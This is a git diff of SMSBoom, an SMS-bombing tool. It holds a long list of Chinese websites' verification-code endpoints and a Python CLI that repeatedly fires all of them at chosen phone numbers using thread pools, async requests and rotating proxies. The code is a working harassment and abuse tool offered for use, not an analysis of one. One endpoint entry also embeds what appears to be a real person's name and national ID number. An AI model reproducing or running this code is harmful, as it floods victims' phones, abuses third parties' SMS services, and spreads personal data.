|
{
|
||||||
|
"mobile": "[phone]"
|
||||||
|
},
|
||||||
|
"https://www.guhai.com.cn/register.html"
|
||||||
|
],
|
||||||
|
[
|
||||||
|
"http://www.lll.plus/sendCode/",
|
||||||
|
60,
|
||||||
|
"LLL的个人blog",
|
||||||
|
"POST",
|
||||||
|
{
|
||||||
|
"tel": "[phone]",
|
||||||
|
"forgetPwd": ""
|
||||||
|
},
|
||||||
|
"http://www.lll.plus/register/"
|
||||||
|
],
|
||||||
|
[
|
||||||
|
"https://www.xcxui.com/index/register/getcode.html",
|
||||||
|
60,
|
||||||
|
"企米子",
|
||||||
|
"POST",
|
||||||
|
{
|
||||||
|
"tel": "[phone]"
|
||||||
|
},
|
||||||
|
"https://www.xcxui.com/index/register"
|
||||||
|
],
|
||||||
|
[
|
||||||
|
"https://id.pgyer.com/user/getRegisterCode",
|
||||||
|
60,
|
||||||
|
"蒲公英",
|
||||||
|
"POST",
|
||||||
|
{
|
||||||
|
"tel": "[phone]",
|
||||||
|
"callingCode": "86",
|
||||||
|
"mode": "tel"
|
||||||
|
},
|
||||||
|
"https://id.pgyer.com/user/register?mode=tel"
|
||||||
|
],
|
||||||
|
[
|
||||||
|
"https://erp.abiz.com/mobilecode/sendMobileCode",
|
||||||
|
60,
|
||||||
|
"百卓优采",
|
||||||
|
"POST",
|
||||||
|
{
|
||||||
|
"mobile": "[phone]",
|
||||||
|
"captcha": ""
|
||||||
|
},
|
||||||
|
"https://erp.abiz.com/register"
|
||||||
|
],
|
||||||
|
[
|
||||||
|
"https://brand.yunbeilou.com/index.php/smssend",
|
||||||
|
30,
|
||||||
|
"云背篓",
|
||||||
|
"POST",
|
||||||
|
{
|
||||||
|
"phone": "[phone]",
|
||||||
|
"v": "yes"
|
||||||
|
},
|
||||||
|
"https://brand.yunbeilou.com/index.php/register"
|
||||||
|
],
|
||||||
|
[
|
||||||
|
"https://m.php.cn/account/phone_code.html",
|
||||||
|
60,
|
||||||
|
"PHP中文网",
|
||||||
|
"POST",
|
||||||
|
{
|
||||||
|
"phone": "[phone]"
|
||||||
|
},
|
||||||
|
"https://m.php.cn/reg.html"
|
||||||
|
],
|
||||||
|
[
|
||||||
|
"http://dhba.12321.cn/api/verifycode",
|
||||||
|
60,
|
||||||
|
"12321",
|
||||||
|
"POST",
|
||||||
|
{
|
||||||
|
"phone": "[phone]"
|
||||||
|
},
|
||||||
|
"http://dhba.12321.cn/user/register"
|
||||||
|
],
|
||||||
|
[
|
||||||
|
"https://www.ztestin.com/users/send/vercode",
|
||||||
|
60,
|
||||||
|
"Testin众测",
|
||||||
|
"POST",
|
||||||
|
{
|
||||||
|
"phone": "[phone]",
|
||||||
|
"type": "register",
|
||||||
|
"voice": "0"
|
||||||
|
},
|
||||||
|
"https://www.ztestin.com/users/register?from=menu"
|
||||||
|
],
|
||||||
|
[
|
||||||
|
"http://maker.haier.net/client/user/sendregistervcode.html",
|
||||||
|
60,
|
||||||
|
"海尔",
|
||||||
|
"POST",
|
||||||
|
{
|
||||||
|
"account": "[phone]"
|
||||||
|
},
|
||||||
|
"http://maker.haier.net/client/mobile/register.html"
|
||||||
|
],
|
||||||
|
[
|
||||||
|
"https://www.feimaoyun.com/index.php/invite/h5sendmsg",
|
||||||
|
30,
|
||||||
|
"飞猫云",
|
||||||
|
"POST",
|
||||||
|
{
|
||||||
|
"pcode": "+86",
|
||||||
|
"phone": "[phone]"
|
||||||
|
},
|
||||||
|
"https://yq.jingfile.com/static/invite/register.html?type=3&code=FM666685N0UFSVIP"
|
||||||
|
],
|
||||||
|
[
|
||||||
|
"https://end.huajuetech.com/api/sendCode",
|
||||||
|
60,
|
||||||
|
"华觉数字化平台",
|
||||||
|
"POST",
|
||||||
|
{
|
||||||
|
"mobile": "[phone]",
|
||||||
|
"email": "null",
|
||||||
|
"verfy_method": "mobile"
|
||||||
|
},
|
||||||
|
"https://end.huajuetech.com/admin.php/system/Passport/regist.html"
|
||||||
|
],
|
||||||
|
[
|
||||||
|
"https://wenz.jxnews.com.cn/ms/index.php/Home/User/get_yzm",
|
||||||
|
120,
|
||||||
|
"问政江西",
|
||||||
|
"POST",
|
||||||
|
{
|
||||||
|
"phone": "[phone]"
|
||||||
|
},
|
||||||
|
"https://wenz.jxnews.com.cn/ms/index.php/Home/User/register/"
|
||||||
|
],
|
||||||
|
[
|
||||||
|
"http://api.hndyjyfw.gov.cn/djapi/mobileVerify",
|
||||||
|
60,
|
||||||
|
"河南智慧党建",
|
||||||
|
"POST",
|
||||||
|
{
|
||||||
|
"phone": "[phone]",
|
||||||
|
"verifytype": "1"
|
||||||
|
},
|
||||||
|
"http://www.hndyjyfw.gov.cn/register.html"
|
||||||
|
],
|
||||||
|
[
|
||||||
|
"https://cloud.666idc.com/index/login/sendsms.html",
|
||||||
|
60,
|
||||||
|
"陆陆陆云安全",
|
||||||
|
"POST",
|
||||||
|
{
|
||||||
|
"mobile": "[phone]",
|
||||||
|
"mobile_pre": "86"
|
||||||
|
},
|
||||||
|
"https://cloud.666idc.com/index/login/register"
|
||||||
|
],
|
||||||
|
[
|
||||||
|
"https://dz.blizzard.cn/action/user/mobile/captcha",
|
||||||
|
60,
|
||||||
|
"网易",
|
||||||
|
"POST",
|
||||||
|
{
|
||||||
|
"mobile": "[phone]"
|
||||||
|
},
|
||||||
|
"https://dz.blizzard.cn/register"
|
||||||
|
],
|
||||||
|
[
|
||||||
|
"https://www.codeseeding.com/loginUser/toSend",
|
||||||
|
60,
|
||||||
|
"码云社",
|
||||||
|
"POST",
|
||||||
|
{
|
||||||
|
"phone": "[phone]"
|
||||||
|
},
|
||||||
|
"https://www.codeseeding.com/index"
|
||||||
|
],
|
||||||
|
[
|
||||||
|
"http://sso.rcsd.cn/regist/getVerifyCode",
|
||||||
|
120,
|
||||||
|
"人才山东",
|
||||||
|
"POST",
|
||||||
|
{
|
||||||
|
"personcall": "[phone]"
|
||||||
|
},
|
||||||
|
"http://sso.rcsd.cn/regist/registeHome"
|
||||||
|
],
|
||||||
|
[
|
||||||
|
"http://sso.mwr.cn/suserRegister/verifyAccountAndphone.action",
|
||||||
|
60,
|
||||||
|
"水利部",
|
||||||
|
"POST",
|
||||||
|
{
|
||||||
|
"mobile": "[phone]"
|
||||||
|
},
|
||||||
|
"http://sso.mwr.cn/examine/getexamines.jsp"
|
||||||
|
],
|
||||||
|
[
|
||||||
|
"http://ut7.whu.edu.cn/Home/studentCommon/Student_getVerifyCode",
|
||||||
|
60,
|
||||||
|
"七联大学",
|
||||||
|
"POST",
|
||||||
|
{
|
||||||
|
"phoneNumber": "[phone]",
|
||||||
|
"sendType": "0"
|
||||||
|
},
|
||||||
|
"http://ut7.whu.edu.cn/Home/studentCommon/studentLogin.jsp"
|
||||||
|
],
|
||||||
|
[
|
||||||
|
"https://www.0101ssd.com/user/sendmsg",
|
||||||
|
60,
|
||||||
|
"闪德资讯",
|
||||||
|
"POST",
|
||||||
|
{
|
||||||
|
"mobile": "[phone]",
|
||||||
|
"event": "register"
|
||||||
|
},
|
||||||
|
"https://www.0101ssd.com/"
|
||||||
|
],
|
||||||
|
[
|
||||||
|
"https://mskzkt.jse.edu.cn/baseApi/user/code/",
|
||||||
|
60,
|
||||||
|
"江苏省名师空中课堂",
|
||||||
|
"POST",
|
||||||
|
{
|
||||||
|
"mobile": "[phone]",
|
||||||
|
"type": "1"
|
||||||
|
},
|
||||||
|
"https://mskzkt.jse.edu.cn/baseApi/user/code/"
|
||||||
|
],
|
||||||
|
[
|
||||||
|
"https://csff.cutv.com/wapi/users/sendregcode",
|
||||||
|
60,
|
||||||
|
"CSFF短片",
|
||||||
|
"POST",
|
||||||
|
{
|
||||||
|
"telphone": "[phone]"
|
||||||
|
},
|
||||||
|
"https://csff.cutv.com/register"
|
||||||
|
],
|
||||||
|
[
|
||||||
|
"http://rswb.gx12333.net/member/getRegisterphoneCode.jspx",
|
||||||
|
60,
|
||||||
|
"广西人社厅",
|
||||||
|
"POST",
|
||||||
|
{
|
||||||
|
"aae005": "[phone]",
|
||||||
|
"aac003": "刘萌萌",
|
||||||
|
"aac002": "210212198506035924",
|
||||||
|
"notkeyflag": "1"
|
||||||
|
},
|
||||||
|
"http://rswb.gx12333.net/member/register.jhtml"
|
||||||
|
],
|
||||||
|
[
|
||||||
|
"https://www.maxell-dm.cn/Code/CheckImage.aspx",
|
||||||
|
60,
|
||||||
|
"麦克赛尔数字映像",
|
||||||
|
"POST",
|
||||||
|
{
|
||||||
|
"action": "send",
|
||||||
|
"txtMember_Name": "[phone]"
|
||||||
|
},
|
||||||
|
"https://www.maxell-dm.cn/register.aspx"
|
||||||
|
],
|
||||||
|
[
|
||||||
|
"http://main.jiajiaozaixian.com//reginfo/sendRankByMobileReginfo.action",
|
||||||
|
60,
|
||||||
|
"宝提分",
|
||||||
|
"POST",
|
||||||
|
{
|
||||||
|
"mobile": "[phone]"
|
||||||
|
},
|
||||||
|
"http://main.jiajiaozaixian.com/zhuce/student/zhuce_xy1.jsp?"
|
||||||
|
],
|
||||||
|
[
|
||||||
|
"http://www.cnppump.ltd/Service/UserHandler.ashx",
|
||||||
|
60,
|
||||||
|
"选型系统",
|
||||||
|
"GET",
|
||||||
|
{
|
||||||
|
"cmd": "GetTelVerifyCode",
|
||||||
|
"Tel": "[phone]"
|
||||||
|
},
|
||||||
|
"http://www.cnppump.ltd/Register/RegisterByTel.aspx"
|
||||||
|
],
|
||||||
|
[
|
||||||
|
"http://vip.qianlima.com/rest/u/api/user/register/mobile/code",
|
||||||
|
60,
|
||||||
|
"千里马网信科技",
|
||||||
|
"POST",
|
||||||
|
{
|
||||||
|
"tips": "1",
|
||||||
|
"shouji": "[phone]"
|
||||||
|
},
|
||||||
|
"http://vip.qianlima.com/register.html"
|
||||||
|
],
|
||||||
|
[
|
||||||
|
"https://baodingyun.com.cn/register/send_registerSMS.html",
|
||||||
|
60,
|
||||||
|
"保定云",
|
||||||
|
"POST",
|
||||||
|
{
|
||||||
|
"phone": "[phone]"
|
||||||
|
},
|
||||||
|
"https://baodingyun.com.cn/register.html"
|
||||||
|
],
|
||||||
|
[
|
||||||
|
"http://www.gm5.com/auth/registerSms.html",
|
||||||
|
60,
|
||||||
|
"欢动游戏",
|
||||||
|
"POST",
|
||||||
|
{
|
||||||
|
"mobile": "[phone]"
|
||||||
|
},
|
||||||
|
"http://www.gm5.com/auth/register.html"
|
||||||
|
],
|
||||||
|
[
|
||||||
|
"https://www.maiwe.com.cn/index/sendcode.html",
|
||||||
|
60,
|
||||||
|
"迈威",
|
||||||
|
"GET",
|
||||||
|
{
|
||||||
|
"tel": "[phone]"
|
||||||
|
},
|
||||||
|
"https://www.maiwe.com.cn/index/register.html"
|
||||||
|
],
|
||||||
|
[
|
||||||
|
"https://www.dehua.net/include/ajax.php?service=siteConfig&action=getphoneVerify&type=signup&phone=[phone]&areaCode=86",
|
||||||
|
60,
|
||||||
|
"憨鼠社区",
|
||||||
|
"GET",
|
||||||
|
{},
|
||||||
|
""
|
||||||
|
],
|
||||||
|
[
|
||||||
|
"https://user.daojia.com/mobile/getcode?mobile=[phone]&newVersion=1&bu=112",
|
||||||
|
60,
|
||||||
|
"天鹅到家",
|
||||||
|
"GET",
|
||||||
|
{},
|
||||||
|
""
|
||||||
|
],
|
||||||
|
[
|
||||||
|
"http://ks.ndzhugong.com/getVerificationCode?phone=[phone]&password=&smscode=",
|
||||||
|
60,
|
||||||
|
"诺达筑工",
|
||||||
|
"GET",
|
||||||
|
{},
|
||||||
|
""
|
||||||
|
],
|
||||||
|
[
|
||||||
|
"http://211.149.170.226:8201/dczp-cloud-client/rrs/user/sendSms?[phone]&[phone]&smsMode=2",
|
||||||
|
60,
|
||||||
|
"栋才智慧",
|
||||||
|
"GET",
|
||||||
|
{},
|
||||||
|
""
|
||||||
|
],
|
||||||
|
[
|
||||||
|
"http://wf.zhuanjipx.com:8084//api-user/zjUsersPersonal/getSmsCode?mobile=[phone]&mobileCodeId=a87c9338-43a1-66ea-8ce7-1b1ac7c39d69",
|
||||||
|
60,
|
||||||
|
"工伤预防网上培训平台",
|
||||||
|
"GET",
|
||||||
|
{},
|
||||||
|
""
|
||||||
|
],
|
||||||
|
[
|
||||||
|
"https://sdjn-web.yxlearning.com/sendphoneCode.gson",
|
||||||
|
60,
|
||||||
|
"济宁专技",
|
||||||
|
"POST",
|
||||||
|
{
|
||||||
|
"phone": "[phone]",
|
||||||
|
"sendType": "4"
|
||||||
|
},
|
||||||
|
"https://sdjn-web.yxlearning.com/staffRegister.shtml"
|
||||||
|
],
|
||||||
|
[
|
||||||
|
"http://www.yddzgc.com/bid-app/api/sys/code?phone=[phone]&type=1",
|
||||||
|
60,
|
||||||
|
"宁夏伊地地质工程有限公司",
|
||||||
|
"GET",
|
||||||
|
{},
|
||||||
|
""
|
||||||
|
],
|
||||||
|
[
|
||||||
|
"http://zycp.qcdxs.com:5001/sms/sendsms",
|
||||||
|
60,
|
||||||
|
"青春大学说",
|
||||||
|
"POST",
|
||||||
|
{
|
||||||
|
"phone_number": "[phone]"
|
||||||
|
},
|
||||||
|
"http://zycp.qcdxs.com/user/register.html"
|
||||||
|
],
|
||||||
|
[
|
||||||
|
"https://api.gzxyld.cn/HuiEbid/HuiEbidServer/doSendSms/getSms",
|
||||||
|
60,
|
||||||
|
"兴业利达电子招投标平台",
|
||||||
|
"POST",
|
||||||
|
{
|
||||||
|
"username": "[phone]",
|
||||||
|
"type": "regUser",
|
||||||
|
"mobile": "PC"
|
||||||
|
},
|
||||||
|
"https://www.gzxyld.cn/HuiEbid/view/register.html"
|
||||||
|
],
|
||||||
|
[
|
||||||
|
"https://v1.alphazone-data.cn/academy/api/v1/sendsms",
|
||||||
|
60,
|
||||||
|
"火象",
|
||||||
|
"POST",
|
||||||
|
{
|
||||||
|
"temp": "1",
|
||||||
|
"phone": "[phone]"
|
||||||
|
},
|
||||||
|
"https://www.alphazone.com.cn/register.html"
|
||||||
|
],
|
||||||
|
[
|
||||||
|
"https://www.vipexam.cn/user/identifyingCode.action",
|
||||||
|
60,
|
||||||
|
"中科教育",
|
||||||
|
"POST",
|
||||||
|
{
|
||||||
|
"phone": "[phone]"
|
||||||
|
},
|
||||||
|
"https://www.vipexam.cn/register.html"
|
||||||
|
],
|
||||||
|
[
|
||||||
|
"https://uc.csdhe.com/v1/sms/send?mobile=[phone]&apptype=examWeb",
|
||||||
|
60,
|
||||||
|
"聚题库",
|
||||||
|
"GET",
|
||||||
|
{},
|
||||||
|
""
|
||||||
|
],
|
||||||
|
[
|
||||||
|
"https://jssnd.edu.cn/apiu/v1/register/auth",
|
||||||
|
60,
|
||||||
|
"苏州高新区教育局",
|
||||||
|
"POST",
|
||||||
|
{
|
||||||
|
"phone": "[phone]"
|
||||||
|
},
|
||||||
|
"https://jssnd.edu.cn/register.html"
|
||||||
|
],
|
||||||
|
[
|
||||||
|
"http://zhuanjipx.com:8082//api-user/zjUsersPersonal/getSmsCode?mobile=[phone]&mobileCodeId=685110c6-cef4-bb01-8f4d-19ea89f4d3f8",
|
||||||
|
60,
|
||||||
|
"专业技术人员继续教育平台",
|
||||||
|
"GET",
|
||||||
|
{},
|
||||||
|
""
|
||||||
|
],
|
||||||
|
[
|
||||||
|
"https://sdta-web.yxlearning.com/sendphoneCode.gson",
|
||||||
|
60,
|
||||||
|
"泰安专技",
|
||||||
|
"POST",
|
||||||
|
{
|
||||||
|
"phone": "[phone]",
|
||||||
|
"sendType": "4"
|
||||||
|
},
|
||||||
|
"https://sdta-web.yxlearning.com/staffRegister.shtml"
|
||||||
|
],
|
||||||
|
[
|
||||||
|
"https://www.vipexam.cn/user/identifyingCode.action",
|
||||||
|
60,
|
||||||
|
"志睿择",
|
||||||
|
"POST",
|
||||||
|
{
|
||||||
|
"phone": "[phone]"
|
||||||
|
},
|
||||||
|
"https://www.vipexam.cn/register.html"
|
||||||
|
],
|
||||||
|
[
|
||||||
|
"https://www.bugbank.cn/api/verifymobile",
|
||||||
|
90,
|
||||||
|
"漏洞银行",
|
||||||
|
"POST",
|
||||||
|
{
|
||||||
|
"mobile": "[phone]"
|
||||||
|
},
|
||||||
|
"https://www.bugbank.cn/bbe/register.html"
|
||||||
|
],
|
||||||
|
[
|
||||||
|
"https://www.clssn.com/jhxtapi/web/Login/sendSmsCode",
|
||||||
|
60,
|
||||||
|
"中国劳动保障新闻网",
|
||||||
|
"POST",
|
||||||
|
{
|
||||||
|
"mobile": "[phone]"
|
||||||
|
},
|
||||||
|
"https://www.clssn.com/register.html"
|
||||||
|
],
|
||||||
|
[
|
||||||
|
"http://gpa-gd.scnu.edu.cn/member/index/public_send_code.html",
|
||||||
|
60,
|
||||||
|
"广东省心理学会",
|
||||||
|
"POST",
|
||||||
|
{
|
||||||
|
"phone": "[phone]"
|
||||||
|
},
|
||||||
|
"http://gpa-gd.scnu.edu.cn/member/index/register.html?siteid=1"
|
||||||
|
],
|
||||||
|
[
|
||||||
|
"https://www.feeclouds.com/homepage/register/send",
|
||||||
|
60,
|
||||||
|
"费耘网",
|
||||||
|
"POST",
|
||||||
|
{
|
||||||
|
"mobile": "[phone]"
|
||||||
|
},
|
||||||
|
"https://www.feeclouds.com/register.html"
|
||||||
|
]
|
||||||
|
]
|
||||||
BIN
img/GIF111.gif
Executable file
BIN
img/GIF111.gif
Executable file
Binary file not shown.
|
After Width: | Height: | Size: 12 MiB |
BIN
img/cmd1.png
Executable file
BIN
img/cmd1.png
Executable file
Binary file not shown.
|
After Width: | Height: | Size: 24 KiB |
BIN
img/cmd2.png
Executable file
BIN
img/cmd2.png
Executable file
Binary file not shown.
|
After Width: | Height: | Size: 37 KiB |
BIN
img/e.g.1.png
Executable file
BIN
img/e.g.1.png
Executable file
Binary file not shown.
|
After Width: | Height: | Size: 22 KiB |
BIN
img/smsboom-logo.png
Executable file
BIN
img/smsboom-logo.png
Executable file
Binary file not shown.
|
After Width: | Height: | Size: 102 KiB |
BIN
img/test2.gif
Executable file
BIN
img/test2.gif
Executable file
Binary file not shown.
|
After Width: | Height: | Size: 4.8 MiB |
BIN
requirements-dev.txt
Executable file
BIN
requirements-dev.txt
Executable file
Binary file not shown.
BIN
requirements.txt
Executable file
BIN
requirements.txt
Executable file
Binary file not shown.
211
smsboom.py
Executable file
211
smsboom.py
Executable file
@@ -0,0 +1,211 @@
|
|||||||
|
# encoding=utf8
|
||||||
|
# 短信测压主程序
|
||||||
|
|
||||||
|
from utils import default_header_user_agent
|
||||||
|
from utils.log import logger
|
||||||
|
from utils.models import API
|
||||||
|
from utils.req import reqFunc, reqFuncByProxy, runAsync
|
||||||
|
from concurrent.futures import ThreadPoolExecutor
|
||||||
|
from typing import List, Union
|
||||||
|
import asyncio
|
||||||
|
import json
|
||||||
|
import pathlib
|
||||||
|
import sys
|
||||||
|
import time
|
||||||
|
import click
|
||||||
|
import httpx
|
||||||
|
import os
|
||||||
|
|
||||||
|
# 確定應用程序係一個腳本文件或凍結EXE
|
||||||
|
if getattr(sys, 'frozen', False):
|
||||||
|
path = os.path.dirname(sys.executable)
|
||||||
|
elif __file__:
|
||||||
|
path = os.path.dirname(__file__)
|
||||||
|
|
||||||
|
|
||||||
|
def load_proxies() -> list:
|
||||||
|
"""load proxies for files
|
||||||
|
:return: proxies list
|
||||||
|
"""
|
||||||
|
proxy_all = []
|
||||||
|
proxy_file = ["http_proxy.txt", "socks5_proxy.txt", "socks4_proxy.txt"]
|
||||||
|
for fn in proxy_file:
|
||||||
|
f_obj = pathlib.Path(path, fn)
|
||||||
|
if f_obj.exists():
|
||||||
|
proxy_lst = pathlib.Path(path, fn).read_text(
|
||||||
|
encoding="utf8").split("\n")
|
||||||
|
if not proxy_lst:
|
||||||
|
continue
|
||||||
|
if fn == "http_proxy.txt":
|
||||||
|
for proxy in proxy_lst:
|
||||||
|
if proxy:
|
||||||
|
proxy_all.append({'all://': 'http://' + proxy})
|
||||||
|
elif fn == "socks5_proxy.txt":
|
||||||
|
for proxy in proxy_lst:
|
||||||
|
if proxy:
|
||||||
|
proxy_all.append({'all://': 'socks5://' + proxy})
|
||||||
|
elif fn == "socks4_proxy.txt":
|
||||||
|
for proxy in proxy_lst:
|
||||||
|
if proxy:
|
||||||
|
proxy_all.append({'all://': 'socks4://' + proxy})
|
||||||
|
else:
|
||||||
|
f_obj.touch()
|
||||||
|
logger.success(f"代理列表加载完成,代理数:{len(proxy_all)}")
|
||||||
|
return proxy_all
|
||||||
|
|
||||||
|
|
||||||
|
def load_json() -> List[API]:
|
||||||
|
"""load json for api.json
|
||||||
|
:return: api list
|
||||||
|
"""
|
||||||
|
json_path = pathlib.Path(path, 'api.json')
|
||||||
|
if not json_path.exists():
|
||||||
|
logger.error("Json file not exists!")
|
||||||
|
raise ValueError
|
||||||
|
|
||||||
|
with open(json_path.resolve(), mode="r", encoding="utf8") as j:
|
||||||
|
try:
|
||||||
|
datas = json.loads(j.read())
|
||||||
|
APIs = [
|
||||||
|
API(**data)
|
||||||
|
for data in datas
|
||||||
|
]
|
||||||
|
logger.success(f"api.json 加载完成 接口数:{len(APIs)}")
|
||||||
|
return APIs
|
||||||
|
except Exception as why:
|
||||||
|
logger.error(f"Json file syntax error:{why}")
|
||||||
|
raise ValueError
|
||||||
|
|
||||||
|
|
||||||
|
def load_getapi() -> list:
|
||||||
|
"""load GETAPI
|
||||||
|
:return:
|
||||||
|
"""
|
||||||
|
json_path = pathlib.Path(path, 'GETAPI.json')
|
||||||
|
if not json_path.exists():
|
||||||
|
logger.error("GETAPI.json file not exists!")
|
||||||
|
raise ValueError
|
||||||
|
|
||||||
|
with open(json_path.resolve(), mode="r", encoding="utf8") as j:
|
||||||
|
try:
|
||||||
|
datas = json.loads(j.read())
|
||||||
|
logger.success(f"GETAPI加载完成,数目:{len(datas)}")
|
||||||
|
return datas
|
||||||
|
except Exception as why:
|
||||||
|
logger.error(f"Json file syntax error:{why}")
|
||||||
|
raise ValueError
|
||||||
|
|
||||||
|
|
||||||
|
@click.command()
|
||||||
|
@click.option("--thread", "-t", help="线程数(默认64)", default=64)
|
||||||
|
@click.option("--phone", "-p", help="手机号,可传入多个再使用-p传递", multiple=True, type=str)
|
||||||
|
@click.option('--frequency', "-f", default=1, help="执行次数(默认1次)", type=int)
|
||||||
|
@click.option('--interval', "-i", default=60, help="间隔时间(默认60s)", type=int)
|
||||||
|
@click.option('--enable_proxy', "-e", is_flag=True, help="开启代理(默认关闭)", type=bool)
|
||||||
|
def run(thread: int, phone: Union[str, tuple], frequency: int, interval: int, enable_proxy: bool = False):
|
||||||
|
"""传入线程数和手机号启动轰炸,支持多手机号"""
|
||||||
|
while not phone:
|
||||||
|
phone = input("Phone: ")
|
||||||
|
for i in phone:
|
||||||
|
if not i.isdigit():
|
||||||
|
logger.error("手机号必须为纯数字!")
|
||||||
|
sys.exit(1)
|
||||||
|
logger.info(
|
||||||
|
f"手机号:{phone}, 线程数:{thread}, 执行次数:{frequency}, 间隔时间:{interval}")
|
||||||
|
try:
|
||||||
|
_api = load_json()
|
||||||
|
_api_get = load_getapi()
|
||||||
|
_proxies = load_proxies()
|
||||||
|
# fix: by Ethan
|
||||||
|
if not _proxies:
|
||||||
|
if enable_proxy:
|
||||||
|
logger.error("无法读取任何代理....请取消-e")
|
||||||
|
sys.exit(1)
|
||||||
|
_proxies = [None]
|
||||||
|
except ValueError:
|
||||||
|
logger.error("读取接口出错!正在重新下载接口数据!....")
|
||||||
|
update()
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
with ThreadPoolExecutor(max_workers=thread) as pool:
|
||||||
|
for i in range(1, frequency + 1):
|
||||||
|
logger.success(f"第{i}波轰炸开始!")
|
||||||
|
# 此處代碼邏輯有問題,如果 _proxy 為空就不會啓動轟炸,必須有東西才行
|
||||||
|
for proxy in _proxies:
|
||||||
|
logger.success(f"第{i}波轰炸 - 当前正在使用代理:" +
|
||||||
|
proxy['all://'] + " 进行轰炸...") if enable_proxy else logger.success(f"第{i}波开始轰炸...")
|
||||||
|
# 不可用的代理或API过多可能会影响轰炸效果
|
||||||
|
for api in _api:
|
||||||
|
pool.submit(reqFuncByProxy, api, phone, proxy) if enable_proxy else pool.submit(
|
||||||
|
reqFunc, api, phone)
|
||||||
|
for api_get in _api_get:
|
||||||
|
pool.submit(reqFuncByProxy, api_get, phone, proxy) if enable_proxy else pool.submit(
|
||||||
|
reqFunc, api_get, phone)
|
||||||
|
logger.success(f"第{i}波轰炸提交结束!休息{interval}s.....")
|
||||||
|
time.sleep(interval)
|
||||||
|
|
||||||
|
|
||||||
|
@click.option("--phone", "-p", help="手机号,可传入多个再使用-p传递", prompt=True, required=True, multiple=True)
|
||||||
|
@click.command()
|
||||||
|
def asyncRun(phone):
|
||||||
|
"""以最快的方式请求接口(真异步百万并发)"""
|
||||||
|
_api = load_json()
|
||||||
|
_api_get = load_getapi()
|
||||||
|
|
||||||
|
apis = _api + _api_get
|
||||||
|
|
||||||
|
loop = asyncio.get_event_loop()
|
||||||
|
loop.run_until_complete(runAsync(apis, phone))
|
||||||
|
|
||||||
|
|
||||||
|
@click.option("--phone", "-p", help="手机号,可传入多个再使用-p传递", prompt=True, required=True, multiple=True)
|
||||||
|
@click.command()
|
||||||
|
def oneRun(phone):
|
||||||
|
"""单线程(测试使用)"""
|
||||||
|
_api = load_json()
|
||||||
|
_api_get = load_getapi()
|
||||||
|
|
||||||
|
apis = _api + _api_get
|
||||||
|
|
||||||
|
for api in apis:
|
||||||
|
try:
|
||||||
|
reqFunc(api, phone)
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
|
||||||
|
|
||||||
|
@click.command()
|
||||||
|
def update():
|
||||||
|
"""从 github 获取最新接口"""
|
||||||
|
GETAPI_json_url = f"https://hk1.monika.love/OpenEthan/SMSBoom/master/GETAPI.json"
|
||||||
|
API_json_url = f"https://hk1.monika.love/OpenEthan/SMSBoom/master/api.json"
|
||||||
|
logger.info(f"正在从GitHub拉取最新接口!")
|
||||||
|
try:
|
||||||
|
with httpx.Client(verify=False, timeout=10) as client:
|
||||||
|
GETAPI_json = client.get(
|
||||||
|
GETAPI_json_url, headers=default_header_user_agent()).content.decode(encoding="utf8")
|
||||||
|
api_json = client.get(
|
||||||
|
API_json_url, headers=default_header_user_agent()).content.decode(encoding="utf8")
|
||||||
|
|
||||||
|
except Exception as why:
|
||||||
|
logger.error(f"拉取更新失败:{why}请关闭所有代理软件多尝试几次!")
|
||||||
|
else:
|
||||||
|
with open(pathlib.Path(path, "GETAPI.json").absolute(), mode="w", encoding="utf8") as a:
|
||||||
|
a.write(GETAPI_json)
|
||||||
|
with open(pathlib.Path(path, "api.json").absolute(), mode="w", encoding="utf8") as a:
|
||||||
|
a.write(api_json)
|
||||||
|
logger.success(f"接口更新成功!")
|
||||||
|
|
||||||
|
|
||||||
|
@click.group()
|
||||||
|
def cli():
|
||||||
|
pass
|
||||||
|
|
||||||
|
|
||||||
|
cli.add_command(run)
|
||||||
|
cli.add_command(update)
|
||||||
|
cli.add_command(asyncRun)
|
||||||
|
cli.add_command(oneRun)
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
cli()
|
||||||
57
smsboom_GUI.py
Normal file
57
smsboom_GUI.py
Normal file
@@ -0,0 +1,57 @@
|
|||||||
|
from tkinter import Tk, StringVar
|
||||||
|
from tkinter import ttk
|
||||||
|
|
||||||
|
|
||||||
|
class InputWidget(ttk.Frame):
|
||||||
|
"""输入框,确认框"""
|
||||||
|
|
||||||
|
def __init__(self, parent=None):
|
||||||
|
ttk.Frame.__init__(self, parent)
|
||||||
|
self.parent = parent
|
||||||
|
self.columnconfigure(0, weight=1)
|
||||||
|
self.rowconfigure(0, weight=1)
|
||||||
|
self.phone = StringVar()
|
||||||
|
self.createWidget()
|
||||||
|
|
||||||
|
for child in self.winfo_children():
|
||||||
|
child.grid_configure(padx=5, pady=5)
|
||||||
|
|
||||||
|
self.pack()
|
||||||
|
|
||||||
|
def createWidget(self):
|
||||||
|
"""InputWidget"""
|
||||||
|
ttk.Label(self, text="手机号:").grid(column=0, row=0, sticky='nsew')
|
||||||
|
ttk.Entry(self, textvariable=self.phone).grid(
|
||||||
|
column=1, row=0, columnspan=3, sticky='nsew')
|
||||||
|
ttk.Button(self, text="启动轰炸").grid(
|
||||||
|
column=4, row=0, sticky='nsew')
|
||||||
|
|
||||||
|
|
||||||
|
class Application(ttk.Frame):
|
||||||
|
"""APP main frame"""
|
||||||
|
|
||||||
|
def __init__(self, parent=None):
|
||||||
|
ttk.Frame.__init__(self, parent)
|
||||||
|
self.parent = parent
|
||||||
|
# 伸缩
|
||||||
|
self.columnconfigure(0, weight=1)
|
||||||
|
self.rowconfigure(0, weight=1)
|
||||||
|
self.createWidget()
|
||||||
|
# 间隔
|
||||||
|
for child in self.winfo_children():
|
||||||
|
child.grid_configure(padx=5, pady=5)
|
||||||
|
|
||||||
|
self.pack()
|
||||||
|
|
||||||
|
def createWidget(self):
|
||||||
|
"""Widget"""
|
||||||
|
input_wiget = InputWidget(self)
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
root = Tk()
|
||||||
|
root.title("SMSBoom - 短信轰炸机 ©落落")
|
||||||
|
root.columnconfigure(0, weight=1)
|
||||||
|
root.rowconfigure(0, weight=1)
|
||||||
|
Application(parent=root)
|
||||||
|
root.mainloop()
|
||||||
339
utils/__init__.py
Normal file
339
utils/__init__.py
Normal file
@@ -0,0 +1,339 @@
|
|||||||
|
|
||||||
|
import random
|
||||||
|
|
||||||
|
USER_AGENT_LIST = [
|
||||||
|
{
|
||||||
|
